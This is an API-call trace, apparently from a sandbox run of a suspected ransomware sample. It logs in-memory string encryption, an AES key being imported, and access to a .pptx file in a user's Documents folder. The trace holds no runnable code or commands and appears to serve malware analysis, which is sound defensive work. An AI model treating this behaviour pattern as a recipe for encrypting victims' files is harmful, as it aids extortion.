[0212.303] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0212.303] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0212.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0212.303] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.303] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0212.303] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0212.303] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0212.303] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.304] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0212.304] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0212.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0212.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0212.304] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0212.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0212.305] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.305] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0212.305] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0212.305] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0212.305] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.306] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0212.306] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0212.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0212.306] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.306] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0212.306] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0212.306] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0212.306] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.307] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0212.307] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0212.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0212.307] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.307] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0212.307] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0212.307] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0212.307] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.308] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0212.308] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0212.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0212.308] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.308] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0212.308] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0212.308] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0212.308] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.309] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0212.309] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0212.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0212.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0212.309] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0212.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0212.310] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0212.310] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0212.310] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0212.310] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.310] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0212.310] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0212.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0212.311] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0212.311] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0212.311] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0212.311] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.311] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0212.311] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0212.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0212.312] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.312] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0212.312] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0212.312] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0212.312] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.312] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0212.312] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0212.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0212.313] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0212.313] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0212.313] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0212.313] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.313] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0212.313] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0212.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0212.314] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0212.315] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0212.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0212.316] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.316] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0212.316] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0212.316] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0212.316] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.317] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0212.317] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0212.317] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0212.317] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.317] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0212.317] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0212.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0212.318] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.318] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0212.318] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0212.318] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0212.318] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.319] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0212.319] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0212.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0212.319] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.319] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0212.319] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0212.319] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0212.319] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.320] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0212.320] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0212.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0212.320] SystemFunction041 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.320] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0212.320] SystemFunction040 (in: Memory=0x5c91db4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91db4) returned 0x0 [0212.320] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0212.321] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0212.321] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0212.321] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0212.321] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.321] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0212.321] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.322] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0212.322] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0212.322] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.322] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0212.322] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.322] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0212.322] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0212.322] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.322] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0212.322] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0212.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0212.323] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.323] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0212.323] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.323] EtwEventActivityIdControl () returned 0x0 [0212.323] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0212.324] SystemFunction041 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.324] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0212.324] SystemFunction040 (in: Memory=0x3d9b44, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3d9b44) returned 0x0 [0212.326] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4cd48) returned 1 [0212.329] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x23737d0*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c68c00) returned 1 [0212.329] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0212.330] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0212.331] EtwEventActivityIdControl () returned 0x0 [0212.331] EtwEventActivityIdControl () returned 0x0 [0212.331] EtwEventActivityIdControl () returned 0x0 [0212.410] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx")) returned 0x20 [0212.412] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\9dbeojadwjynbxb\\dgj _yhdexbtu1aaa9p7.pptx")) returned 0x20 [0212.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5b [0212.412] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", nBufferLength=0x5b, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\9dBEoJADWjyNbxb\\DgJ _YHDeXbtu1aaa9P7.pptx", lpFilePart=0x0) returned 0x5a [0212.413] EtwEventActivityIdControl () returned 0x0 [0212.413] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", 